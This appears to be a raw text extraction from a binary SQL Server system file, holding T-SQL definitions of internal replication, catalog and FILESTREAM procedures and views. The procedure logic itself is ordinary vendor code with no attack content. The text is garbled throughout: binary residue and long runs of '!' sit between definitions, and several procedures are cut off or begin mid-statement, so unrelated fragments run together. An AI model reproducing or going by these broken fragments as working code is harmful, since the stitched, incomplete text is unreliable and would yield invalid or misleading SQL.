	    begin
            SELECT @proc = quotename(@dbname) + N'.sys.sp_MSremovedb_merge_replication_brute_force'	
	   	    exec @retcode = @proc
	    end

		IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) = 'both'
		BEGIN
			-- drop replication symetrickey
			-- note that since this is brute force we will not confirm 
			-- whether or not replication is still enabled in the db
			SELECT @proc = QUOTENAME(@dbname) + N'.sys.sp_dropreplsymmetrickey'
		    EXEC @retcode = @proc @check_replication = 0, @throw_error = 0
		END
		ELSE
		BEGIN
			-- drop replication symetrickey
			-- in this case since we are only dropping one merge/tran it's possibe
			-- that we still need the symetric key... so in this case we will check
			SELECT @proc = QUOTENAME(@dbname) + N'.sys.sp_dropreplsymmetrickey'
		    EXEC @retcode = @proc @check_replication = 1, @throw_error = 0
		END
    end
    else
    begin 
        exec @retcode  = sys.sp_MSrepl_clean_replication_bit @dbname=@dbname,@type=@type	     
    end
    

    if @@error <> 0 select @retcode = 1
    return @retcode

0 8CREATE VIEW sys.dm_cryptographic_provider_properties AS
	SELECT *
	FROM OpenRowset(TABLE DM_CRYPTO_PROVIDER_PROPS)
0o 
8
CREATE PROCEDURE sys.sp_MSrepl_testadminconnection
(
    @distributor        sysname,
    @password           sysname = null
)
AS
BEGIN
    DECLARE @retcode      int
    DECLARE @linkedsvr    sysname
    DECLARE @login        sysname

    -------- security check, db_owner
    EXEC @retcode = dbo.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
    BEGIN
        RETURN(1)
    END
    
    SELECT @linkedsvr    = CONVERT(sysname, newid()),
           @login        = N'distributor_admin'

    -- Verify @distributor
    IF @distributor IS NULL OR @distributor = N''
    BEGIN
        RAISERROR (14043, 16, -1, '@distributor', 'sp_MSrepl_testadminconnection')
        RETURN (1)
    END

    EXEC @retcode = sys.sp_validname @distributor

    IF @@ERROR <> 0 OR @retcode <> 0
       RETURN (1)

    -- Validate @password
    IF @password IS NULL OR @password = N''
    BEGIN
        RAISERROR(14043, 16, -1, N'@password', 'sp_MSrepl_testadminconnection')
        RETURN (1)
    END

    -- Add temporary linked server entry to test distributor_admin credentials
    EXEC @retcode = sys.sp_addserver  @linkedsvr
    IF @@error <> 0 OR @retcode <> 0
    BEGIN
        RETURN (1)
    END

    -- Mark system link
    EXECUTE @retcode = sys.sp_serveroption  @linkedsvr, 'system', 'true'
    IF @@error <> 0 OR @retcode <> 0
    BEGIN
        GOTO UNDO
    END

    -- Set net name of test link to distributor server name
    EXECUTE @retcode = sys.sp_setnetname  @linkedsvr, @distributor
    IF @@error <> 0 OR @retcode <> 0
    BEGIN
        GOTO UNDO
    END
        
    exec @retcode = sys.sp_addlinkedsrvlogin    @rmtsrvname  = @linkedsvr,
                                                @useself     = 'false',
                                                @locallogin  = NULL,
                                                @rmtuser     = @login,
                                                @rmtpassword = @password
    IF @@error <> 0 OR @retcode <> 0
    BEGIN
        GOTO UNDO
    END
    
    -- Test connection
    BEGIN TRY
        DECLARE @distproc nvarchar(max)
        DECLARE @result int
        
        SELECT @distproc = QUOTENAME(RTRIM(@linkedsvr)) + '.master.sys.sp_executesql'
        EXEC @retcode = @distproc N'SELECT @p1=@@microsoftversion', N'@p1 int OUTPUT', @result OUTPUT
    END TRY
    BEGIN CATCH
        RAISERROR(21670, 16, -1, @distributor)
        SET @retcode = 1
    END CATCH
    
    -- Cleanup
UNDO:
    IF EXISTS (SELECT * FROM sys.servers WHERE name = @linkedsvr)
    BEGIN
        EXEC sys.sp_dropserver @linkedsvr, 'droplogins'
    END
    
    RETURN (@retcode)
END
0k D8xh$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!M	P`I<e+\sl0T@ ]8create procedure sys.sp_enableagentoffload (
    @job_id         VARBINARY(16),
    @offloadserver  sysname = NULL,
    @agent_type     sysname = NULL -- 'distribution' or 'merge', case insensitive
    ) AS

    SET NOCOUNT ON
    
    RAISERROR(21023, 16, -1, 'sp_enableagentoffload')
    
    RETURN (1)
0@ 8
create procedure sys.sp_filestream_force_garbage_collection
(
	@dbname sysname = NULL,		-- name of the database where to collect
	@filename sysname = NULL	-- FILESTREAM file container name
)
as
begin
	set nocount    on

	set @dbname = ISNULL (@dbname, DB_NAME ())

	declare @returncode	int

	EXEC @returncode = sys.sp_filestream_force_garbage_collection_internal @dbname, @filename

	return @returncode
end
0' D8Ah 0< 8
create procedure sys.sp_MSfillupmissingcols(@publication sysname, @source_table sysname)
AS
declare @sync_objid         int
declare @missingcolid        int
declare @missing_cols        varbinary(128)
declare @excludedcolid        int
declare @excludedbm            varbinary(128)
declare @excludedcolcnt        int
declare @missing_col_count    int
declare @maxcolid            int
declare @column_tracking    bit
declare @id                    int
declare @pubid                uniqueidentifier
declare @missingindex        int
declare @retcode            int
declare @missing_index_absolute int

-- Security check
exec @retcode= dbo.sp_MSreplcheck_publish
if @@error <> 0 or @retcode <> 0 return (1)

select @id = object_id(@source_table)
select @excludedcolcnt = 0
select @pubid=pubid from dbo.sysmergepublications where name=@publication and publisher=publishingservername() and publisher_db=db_name()
select @sync_objid=sync_objid from dbo.sysmergearticles where objid = @id and pubid=@pubid
select @excludedbm = 0x00
select @missingcolid = 1 --instead of using the minimal column_id in sys.columns with the same id, as we used to do 
select TOP 1 @maxcolid = column_id from sys.columns where object_id=@id order by column_id DESC
 
-- check if this is a republisher. If it is then pick the missing_cols value from the row for the subscriber.
select @missing_cols = missing_cols, 
       @missing_col_count = missing_col_count
    from dbo.sysmergearticles where objid=@id and pubid<>@pubid and sys.fn_MSmerge_islocalpubid(pubid)=0

if @missing_cols is null
begin
    select @missing_cols = missing_cols, 
        @missing_col_count = missing_col_count
        from dbo.sysmergearticles where objid = @id and pubid=@pubid
end

while (@missingcolid <= @maxcolid)
begin
    if exists (select * from sys.columns where column_id = @missingcolid and object_id = @id and 
                is_computed <> 1 and system_type_id <> type_id('timestamp') and
                name not in (select name from sys.columns where object_id = @sync_objid))
    begin
        select @excludedcolcnt = @excludedcolcnt + 1
        select @missingindex = count(*) from sys.columns where object_id=@id and column_id<=@missingcolid and is_computed <> 1 and system_type_id <> type_id('timestamp')

        -- Get the absolute index of the excluded column by taking into consideration the
        -- missing column bitmask.
        exec sys.sp_MSget_absolute_colid @missing_cols, @missingindex, @missing_index_absolute OUTPUT
        
        exec sys.sp_MSsetbit @excludedbm OUTPUT, @missing_index_absolute
    end
    set @missingcolid = @missingcolid + 1
end

UPDATE dbo.sysmergearticles set excluded_col_count = @excludedcolcnt, 
                            excluded_cols = @excludedbm,
                            missing_col_count = @missing_col_count,
                            missing_cols = @missing_cols
        where objid = @id and pubid=@pubid
0
 B8
create procedure sys.sp_showcolv
    @colv varbinary(2953)
as
    set nocount on

    declare @result table (colidx smallint, replnick binary(6), version int)

    declare @i smallint
    set @i= 0
    while (@i < DATALENGTH(@colv)/12)
    begin
        declare @colidx smallint
        set @colidx= cast(substring(@colv, @i*12+2,1) as smallint)
        set @colidx= @colidx*256 + cast(substring(@colv, @i*12+1,1) as smallint)

        declare @replnick binary(6)
        set @replnick= (select substring(@colv, @i*12+3, 6))

        declare @version int
        set @version= cast(substring(@colv, @i*12+12,1) as int)
        set @version= @version*256 + cast(substring(@colv, @i*12+11,1) as int)
        set @version= @version*256 + cast(substring(@colv, @i*12+10,1) as int)
        set @version= @version*256 + cast(substring(@colv, @i*12+9,1) as int)
        
        insert into @result(colidx, replnick, version) select @colidx+1, @replnick, @version
        set @i= @i+1
    end
    select * from @result order by colidx
0n
 D8oh9de != 0)
                return -1'
    insert into #proctext(procedure_text) values( @cmd )

    --
    -- all done
    --
    return 0    
END
0_ 8
--
-- Name: sp_MSgettransarticlecolumnlist
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: Public
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSgettransarticlecolumnlist
(
    @article_id int,
    @include_timestamp bit,
    @column_list nvarchar(max) output
)
as
begin
    set nocount on
    declare @column_name sysname
    declare @separator nvarchar(5)

    declare #hc cursor local fast_forward for
        select sc.name
          from sys.columns sc
    inner join dbo.sysarticles art
            on sc.object_id = art.objid
         where art.artid = @article_id
           and (exists (select * from dbo.sysarticlecolumns sac
                         where sac.artid = @article_id
                           and sac.colid = sc.column_id)
                or
                (@include_timestamp = 1 and sc.system_type_id = 189))
         order by sc.column_id asc
    
    set @separator = N''

    if @column_list is null
    begin
        set @column_list = N''
    end

    set @column_list = ltrim(@column_list)
    open #hc
    fetch #hc into @column_name
    while (@@fetch_status <> -1)
    begin
        set @column_list = @column_list + @separator + quotename(@column_name)
        set @separator = N','

        fetch #hc into @column_name
    end     
    close #hc
    deallocate #hc
    return 0  

end
0$9@ 8create procedure sys.sp_MSchecksharedagentforpublication 
(
    @publisher_id int
    ,@publisher_db sysname
    ,@publication sysname
)
as
begin
    set nocount on
    declare @retcode int
                ,@publication_id int
                ,@independent_agent int

    -- Get the publication information 
    select @publication_id = publication_id
            ,@independent_agent = independent_agent 
    from dbo.MSpublications 
    where publisher_id = @publisher_id and
        publisher_db = @publisher_db and
        publication = @publication
    if @publication_id is NULL
    begin
        raiserror (20026, 16, -1, @publication)
        return (1)
    end
    --
    -- Perform PAL check with retrieved @publication_id
    --
    exec @retcode = sys.sp_MScheck_pull_access
                        @agent_type = 0, -- distrib agent
                        @publication_id = @publication_id
    if @@error <> 0 or @retcode <> 0
    begin    
        raiserror (15247, 16, -1)
        return (1)
    end
    --
    -- return the resultset
    --
    select 'runassharedagent' = case when (@independent_agent = 0) then 1 else 0 end
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!//'
`!
q<oN0?S0u 
8CREATE VIEW sys.spatial_reference_systems AS
SELECT
	spatial_reference_id, 
	authority_name,
	authorized_spatial_reference_id,
	well_known_text,
	unit_of_measure,
	unit_conversion_factor
FROM	sys.spatial_reference_systems_tvf()
0s> H8
create procedure sys.sp_indexes_rowset_rmt
(
    @table_server       sysname,
    @table_catalog      sysname = null,
    @table_name         sysname = null,
    @index_name         sysname = null,
    @table_schema       sysname = null
)
as
    select
        TABLE_CATALOG,
        TABLE_SCHEMA,
        TABLE_NAME,
        INDEX_CATALOG,
        INDEX_SCHEMA,
        INDEX_NAME,
        PRIMARY_KEY,
        [UNIQUE],
        [CLUSTERED],
        [TYPE],
        FILL_FACTOR,
        INITIAL_SIZE,
        NULLS,
        SORT_BOOKMARKS,
        AUTO_UPDATE,
        NULL_COLLATION,
        ORDINAL_POSITION,
        COLUMN_NAME,
        COLUMN_GUID,
        COLUMN_PROPID,
        [COLLATION],
        CARDINALITY,
        PAGES,
        FILTER_CONDITION,
        INTEGRATED = null   -- ISSUE these 3 columns must be exported by the server
                            -- in \yukon\sql\ntdbms\msql\ddl\sysoledb.cpp :
                            -- const SCHEMA_COLUMNS xCol_INDEXES = {

    from
         sys.fn_remote_indexes (
                @table_server,
                @table_catalog,
                @table_schema,
                @index_name,
                null,           -- TYPE (index type)
                @table_name )
    order by 8 desc, 4, 5, 6, 17
0f6 8
--
-- Name:
--		sp_IH_LR_GetCacheData
--
-- Description:
--		Retrieve meta data for Log Reader cache
--
-- Inputs:
--		@publisher		== publisher name
--
-- Returns:
--		Return code (1 for error, 0 for success)
--
-- Security:
--		Internal
-- Requires Certificate signature for catalog access
--
-- Notes:
--		Used by heterogeneous Log Reader for Oracle publishers
--

create PROCEDURE sys.sp_IH_LR_GetCacheData
(
	@publisher sysname 
)
as
begin

	DECLARE @transactional int

	SET @transactional = 0

	-------- security check, db_owner
	declare @retcode int
	exec @retcode = sys.sp_MSreplcheck_publish
	if @@ERROR <> 0 or @retcode <> 0
		return(1)

    -- Begin serializable transaction
    SET TRANSACTION ISOLATION LEVEL SERIALIZABLE
    BEGIN TRAN
    DECLARE @publisher_id int
    
    -- Determine the publisher ID
    select	@publisher_id = i.publisher_id
	from	IHpublishers i,
			master.dbo.sysservers s
	where	UPPER(s.srvname collate database_default) = UPPER(@publisher) collate database_default
	  and	i.publisher_id = s.srvid

	if @@error<>0
	BEGIN
		COMMIT TRAN
		SET TRANSACTION ISOLATION LEVEL READ COMMITTED
        return(1)
	END

	-- Retreive the cache publisher data
    select	i.publisher_id,
			d.login,
			sys.fn_repldecryptver4(d.password),
			i.vendor,
			CONVERT(varchar(255), i.publisher_guid),
			CONVERT(nvarchar(24), i.flush_request_time, 121),
			d.publisher_type
	from	IHpublishers i,
			master.dbo.sysservers s,
			msdb.dbo.MSdistpublishers d
	where	UPPER(s.srvname collate database_default) = UPPER(@publisher) collate database_default
	  and	i.publisher_id = s.srvid
	  and	UPPER(s.srvname collate database_default) = UPPER(d.name) collate database_default
	if @@error<>0
	BEGIN
		COMMIT TRAN
		SET TRANSACTION ISOLATION LEVEL READ COMMITTED
        return(1)
	END
	
	-- Retrieve the cache publication data
	select	i.name,
			i.repl_freq,
			i.status,
			i.sync_method,
			i.snapshot_jobid, 
			i.enabled_for_internet,
			i.immediate_sync_ready,
			i.allow_queued_tran, 
			i.allow_sync_tran,
			i.autogen_sync_procs,
			i.snapshot_in_defaultfolder, 
			i.alt_snapshot_folder,
			i.pre_snapshot_script,
			i.post_snapshot_script, 
			i.compress_snapshot,
			i.ftp_address,
			i.ftp_port,
			i.ftp_subdirectory, 
			i.ftp_login,
			sys.fn_repldecryptver4(i.ftp_password),
			i.allow_dts,
			i.allow_anonymous,
			i.ad_guidname, 
			i.backward_comp_level,
			m.publisher_id,
			m.publisher_db,
			m.publication_type, 
			m.independent_agent,
			m.immediate_sync,
			m.allow_push,
			m.allow_pull, 
			m.description,
			m.vendor_name,
			m.retention,
			m.allow_subscription_copy, 
			i.pubid
	from	IHpublications i,
			MSpublications m
	where	m.publisher_id = @publisher_id
	  and	i.pubid = m.publication_id
	  and	i.repl_freq = @transactional		

	if @@error<>0
	BEGIN
		COMMIT TRAN
		SET TRANSACTION ISOLATION LEVEL READ COMMITTED
        return(1)
	END

	-- Retrieve the cache primary key data 
	select	DISTINCT ihpcn.table_id,
			ihpcc.publishercolumn_id,
			ihpcc.indid 
	from	IHpublisherconstraints ihpcn,
			IHpublishercolumnconstraints ihpcc,
			IHpublishercolumns ihpco,
			IHarticles iha,
			IHpublications ip
	where	ihpcn.publisher_id				= @publisher_id
	  and	ihpcn.publisherconstraint_id	= ihpcc.publisherconstraint_id
	  and	ihpco.publishercolumn_id		= ihpcc.publishercolumn_id
	  and	ihpcn.type				= 'PRIMARYKEY'
	  and	ihpcn.table_id 	= iha.table_id	
	  and	iha.publication_id = ip.pubid
	  and	ip.repl_freq = @transactional
	order by ihpcc.indid

	if @@error<>0
	BEGIN
		COMMIT TRAN
		SET TRANSACTION ISOLATION LEVEL READ COMMITTED
        return(1)
	END

	-- Retrieve the cache column data 
	select	i.column_id,
			i.publishercolumn_id,
			i.name, 
			CASE i.mapped_length
				WHEN -1 THEN type_name(i.mapped_type) + N'(max)'
				ELSE type_name(i.mapped_type)
			END,
			i.mapped_length, 
			i.mapped_prec, i.mapped_scale,
			i.article_id,
			c.name,
			c.type,
			c.length,
			i.mapped_nullable 
	from	IHcolumns i,
			IHpublishercolumns c,
			MSarticles m,
			MSpublications l,
			IHarticles a,
			IHpublications ip
	where	c.publisher_id			= @publisher_id
	  and	i.article_id			= m.article_id
	  and	m.publication_id		= l.publication_id
	  and	i.article_id			= a.article_id
	  and	a.publication_id		= l.publication_id
	  and	m.publisher_id			= a.publisher_id
	  and	m.publisher_id			= l.publisher_id
	  and	i.publishercolumn_id	= c.publishercolumn_id
	  and	m.publication_id = ip.pubid
	  and	ip.repl_freq = @transactional
	order by i.article_id, i.column_ordinal

	if @@error<>0
	BEGIN
		COMMIT TRAN
		SET TRANSACTION ISOLATION LEVEL READ COMMITTED
        return(1)
	END

	-- Retrieve the cache article data 
	select	a.article_id,
			a.name,
			a.table_id, 
			del_cmd,
			filter,
			filter_clause,
			ins_cmd,
			pre_creation_cmd,
			a.status,
			type,
			upd_cmd,
			dest_owner,
			dest_table, 
			a.publication_id,
			p.owner,
			p.name,
			a.publisher_status,
			a.instance_id
	from	IHarticles a,
			IHpublishertables p, 
			MSarticles m,
			MSpublications l,
			IHpublications ip
	where	a.publisher_id		= @publisher_id
	  and	a.publisher_id		= p.publisher_id
	  and	a.table_id			= p.table_id
	  and	a.publication_id	= l.publication_id
	  and	a.article_id		= m.article_id
	  and	a.publication_id	= m.publication_id
	  and	a.publisher_id		= m.publisher_id
	  and	a.publisher_id		= l.publisher_id
	  and	m.publication_id 	= ip.pubid
	  and	ip.repl_freq		= @transactional
	if @@error<>0
	BEGIN
		COMMIT TRAN
		SET TRANSACTION ISOLATION LEVEL READ COMMITTED
        return(1)
	END

	COMMIT TRAN
	SET TRANSACTION ISOLATION LEVEL READ COMMITTED
    return 0
end
0t@ 8create procedure sys.sp_MSuselightweightreplication
	@publisher 		sysname,
    @publisher_db 	sysname,
    @publication 	sysname,
	@lightweight	int output
as
	/*
	** Check for dbo permission
	*/
	declare @retcode int
	exec @retcode=sys.sp_MSreplcheck_subscribe
	if @retcode<>0 or @@ERROR<>0 
		return (1)
		
	set @lightweight= sys.fn_MSuselightweightreplication (@publisher, @publisher_db, @publication, null, null, null, null)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!m`<SMہt0 8create procedure sys.sp_MSupgrade_merge_history90
as
begin
	-- If the MSmerge_history table is in the pre-Yukon format, transfer data from it to MSmerge_sessions
	if object_id('MSmerge_history') is not NULL and object_id('MSmerge_sessions') is not NULL 
		and exists (select * from sys.columns
									where name = 'publisher_insertcount' and object_id=object_id('MSmerge_history'))
	begin
		
		delete from dbo.MSmerge_history where timestamp not in 
			(select max(timestamp) from dbo.MSmerge_history group by agent_id)
			
		-- transfer as much of old history into new tables as possible.
		exec ('insert into dbo.MSmerge_sessions (agent_id, start_time, end_time, duration, delivery_time, delivery_rate, percent_complete,
			upload_inserts, upload_updates, upload_deletes, upload_conflicts, download_inserts, download_updates, download_deletes,
			download_conflicts, runstatus)
		select agent_id, start_time, time, duration, delivery_time, delivery_rate, 100,
			subscriber_insertcount, subscriber_updatecount, subscriber_deletecount,	subscriber_conflictcount, 
			publisher_insertcount, publisher_updatecount, publisher_deletecount, publisher_conflictcount, 
			runstatus
		from dbo.MSmerge_history') 
								
		IF exists (select * from sys.columns
				where name = 'session_id'
				and object_id=object_id('MSrepl_errors'))
			and exists (select * from sys.columns
				where name = 'error_id'
				and object_id=object_id('MSmerge_history'))
        begin
			exec ('update e set e.session_id = s.session_id
			from dbo.MSrepl_errors e join dbo.MSmerge_history h
			on e.id = h.error_id
			join dbo.MSmerge_sessions s
			on h.agent_id = s.agent_id')
        end
    end
  
	return 0
	  
end
0 a
8create procedure sys.sp_MSscriptcustomdelproc 
(
    @artid int
    ,@publishertype tinyint=1        -- 1 = mssqlserver, 2 = heterogeneous
    ,@publisher sysname=NULL		 -- May only be non-NULL if @publishertype = 2
    ,@usesqlclr bit=1
    ,@inDDLrepl bit=0
)
as
begin
	declare @retcode int
			,@scripting_proc nvarchar(512)
			,@delformat int
	--
	-- security check
	--
	exec @retcode = sys.sp_MSreplcheck_publish_withddladmin
	if @@error <> 0 or @retcode <> 0
	begin
	    return (1)
	end

	select @scripting_proc = quotename(object_name(del_scripting_proc))
			,@delformat = case 
			    		when charindex( N'CALL', upper(del_cmd collate SQL_Latin1_General_CP1_CS_AS) ) = 1 then 1  
			    		when charindex( N'XCALL', upper(del_cmd collate SQL_Latin1_General_CP1_CS_AS) ) = 1 then 3  
			    		when charindex( N'VCALL', upper(del_cmd collate SQL_Latin1_General_CP1_CS_AS) ) = 1 then 4
			    		else 0 end
		    from sysarticles where artid = @artid

	-- SQL/None upd_cmd does not involve scripting, return without doing anything here.
	if @delformat = 0 
		return 0

	if @scripting_proc is null
	begin
        if @usesqlclr = 1 and @publishertype = 1
        begin
            exec @retcode = sys.sp_MSscriptcustomdelproc_sqlclr
                @artid = @artid
                ,@publisher = @publisher
        end
        else
        begin
    		select @scripting_proc = case @delformat when 1 then N'sys.sp_scriptdelproc'
	    										when 3 then N'sys.sp_scriptxdelproc'
		    									when 4 then N'sys.sp_scriptvdelproc'
			    								else N'' end
		    exec @retcode = @scripting_proc @artid = @artid
			    						,@publishertype = @publishertype
				    					,@publisher = @publisher
        end
	end
	else
 	begin
		--
		-- For security: break ownership chain as
		-- we have no control over the proc name is
		--
		declare @spretcode int
				,@spcall nvarchar(512)
		declare @temptext table(colidx int identity, col nvarchar(max) collate database_default) 
		select @spcall = N'exec @p1 = ' + @scripting_proc + N' @artid = @p2 '
		if @inDDLrepl = 1
		begin
			exec @retcode = sys.sp_executesql @stmt = @spcall
				,@params = N'@p1 int output, @p2 int'
				,@p1 = @spretcode output
				,@p2 = @artid
		end 
		else
		begin
			insert @temptext(col) exec @retcode = sys.sp_executesql @stmt = @spcall
				,@params = N'@p1 int output, @p2 int'
				,@p1 = @spretcode output
				,@p2 = @artid
			select col from @temptext order by colidx
		end
		if (@retcode != 0 or @spretcode != 0)
			select @retcode = 1
	end

	return @retcode
end
stribdb) + case when @action = @start then '.sys.sp_MSstartsnapshot_agent' else '.sys.sp_MSstopsnapshot_agent' end
    exec @retcode = @distproc
                    @publisher = @publisher,
                    @publisher_db = @dbname,
                    @publication = @publication
    return @retcode
        
end 
0; 	8create procedure sys.sp_MSscript_pub_upd_trig 
(
    @publication sysname, 
    @article     sysname,
    @procname    sysname,
    @alter 	bit = 0 -- if 1 script alter, otherwise script create
)
as
begin
    declare @cmd       nvarchar(4000)
    declare @qualname  nvarchar(517)
    declare @objid     int
    declare @artid     int
                ,@retcode int

    set nocount on
    --
    -- security check -- dbo+ to script create or alter
    --
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
    begin
        return (1)
    end

    -- Create temp table
    create table #proctext ( c1 int identity NOT NULL, procedure_text nvarchar(4000) collate database_default null)

    -- Retrieve underlying table name and replicated columns
    select @objid = objid, @artid = a.artid from sysarticles a join syspublications p on  a.pubid = p.pubid
        where a.name = @article and
              p.name = @publication 

    exec sys.sp_MSget_qualified_name @objid, @qualname OUTPUT

    -- Trigger should be invoked for repl processes as well.
    select @cmd = case @alter when 0 then N'create' else N'alter' end + ' trigger ' + QUOTENAME(@procname) + N' on ' + @qualname + N' '

    select @cmd = @cmd + N'for update not for replication as ' 

    exec sys.sp_MSflush_command @cmd output, 1

    insert into #proctext(procedure_text) values(N'
')
    -- declare common local variables
    insert into #proctext(procedure_text) values 
        (N'declare @rc int
')
    insert into #proctext(procedure_text) values(N'select @rc = @@ROWCOUNT 

')
        
    -- Optimization. Return immediately if no row changed
    -- This must be at the beginning of the trigger to @@rowcount be overwritten.
    insert into #proctext(procedure_text) values(N'if @rc = 0 return 
')
    insert into #proctext(procedure_text) values(N'if update (msrepl_tran_version) return 
')

    -- update the version column of all the updated rows all at once.
    select @cmd = N'update ' + @qualname + N' set msrepl_tran_version = newid() from ' +
        @qualname + ', inserted '
    exec sys.sp_MSflush_command @cmd output, 1
    insert into #proctext(procedure_text) values(N'
')
    exec sys.sp_MSscript_where_clause @objid, @artid, 'version pk', null, 4

    insert into #proctext(procedure_text) values(N'
')
    -- send fragments to client
    select procedure_text from #proctext order by c1 asc
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!HH`<0'`kC0U@ n8
--
-- Name:
--		sp_ORAverifypublisher
--
-- Description:
--		Oracle-specific verification procedure
--
-- Returns:
--		0 == Valid
--		1 == Error in publisher state
--
-- Security:
--		Internal
--
-- Notes:
--		Verifies following classes of objects:
--			SYNONYM
--			SEQUENCE
--			TABLES
--			PACKAGE
--			PACKAGE BODY
--			PROCEDURES
--
--		Check is simple existance check.
--		Additional data oriented checks may be added.
--

CREATE PROCEDURE sys.sp_ORAverifypublisher
(
	@publisher			sysname
)
AS
BEGIN
	DECLARE @retcode			int
	DECLARE @owner				sysname
	DECLARE @publisher_dbms		sysname
    DECLARE @publisher_version	sysname
	DECLARE	@InsColumnList		nvarchar(2000)
	DECLARE	@SelectColumnList	nvarchar(2000)
	DECLARE @objcount			int

	SET NOCOUNT ON

	-- Get HREPL owner for specified publisher
	SELECT	@owner = login
	FROM	msdb.dbo.MSdistpublishers
	WHERE	name = @publisher
	
	-- Set publisher DBMS and version
	SELECT	@publisher_dbms		= 'ORACLE'

	EXEC @retcode = sys.sp_IHgetversion	@publisher	= @publisher,
										@version	= @publisher_version OUTPUT

	IF @retcode != 0 OR @@ERROR != 0
	BEGIN
		RETURN (1)
	END

	-- Define sp_ORAremotequery support table
	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)

	-- Define output table
	create table #hreplinfo
	(
		type	sysname,
		owner	sysname,
		name	sysname
	)

    -- Get hrepl metadata
	SELECT @InsColumnList    = 'type, owner, name'
	SELECT @SelectColumnList = 'OBJECT_TYPE, OWNER, OBJECT_NAME'

	-- Get objects
	INSERT INTO #hquery(cmd) VALUES('SELECT OBJECT_TYPE, OWNER, OBJECT_NAME ')
	INSERT INTO #hquery(cmd) VALUES('FROM ALL_OBJECTS ')
	-- Admin user objects
	INSERT INTO #hquery(cmd) VALUES('WHERE OWNER = ' + QUOTENAME(@owner, '''') + ' ')
	-- Public synonyms
	INSERT INTO #hquery(cmd) VALUES('UNION ')
	INSERT INTO #hquery(cmd) VALUES('SELECT ''SYNONYM'' AS OBJECT_TYPE, OWNER, SYNONYM_NAME AS OBJECT_NAME ')
	INSERT INTO #hquery(cmd) VALUES('FROM ALL_SYNONYMS ')
	INSERT INTO #hquery(cmd) VALUES('WHERE OWNER = ''PUBLIC'' AND SYNONYM_NAME LIKE ''MSSQL%''')

	EXEC @retcode = sp_ORAremotequery 
					@Server				= @publisher,
					@SelectColumnList	= @SelectColumnList,
					@InsTable			= '#hreplinfo',
					@InsColumnList		= @InsColumnList

	IF @@ERROR <> 0 OR @retcode <> 0
	BEGIN
		RAISERROR (21781, 16, -1)
		RETURN (@retcode)
	END

	-- Verify public synonym
	IF NOT EXISTS
	(
		SELECT	name
		FROM	#hreplinfo
		WHERE	type  = 'SYNONYM'
		  AND	name  = 'MSSQLSERVERDISTRIBUTOR'
	)
	BEGIN
		RAISERROR(21780, 10, -1, 'synonym')
		SET @retcode = 1
	END
	
	-- Verify tables
	SELECT	@objcount = COUNT(*)
	FROM	#hreplinfo
	WHERE	type  = 'TABLE'
	  AND	name IN
	  		(
				'HREPL_CHANGES',
				'HREPL_DISTRIBUTOR',
				'HREPL_EVENT',
				'HREPL_MUTEX',
				'HREPL_POLL',
				'HREPL_PUBLISHEDTABLES',
				'HREPL_PUBLISHER',
				'HREPL_SCHEMAFILTER',
				'HREPL_XACTSETCREATETIMES',
				'HREPL_XACTSETJOB'
			)
	
	IF 	@objcount != 10
	BEGIN
		RAISERROR(21780, 10, -1, 'table')
		SET @retcode = 1
	END
	
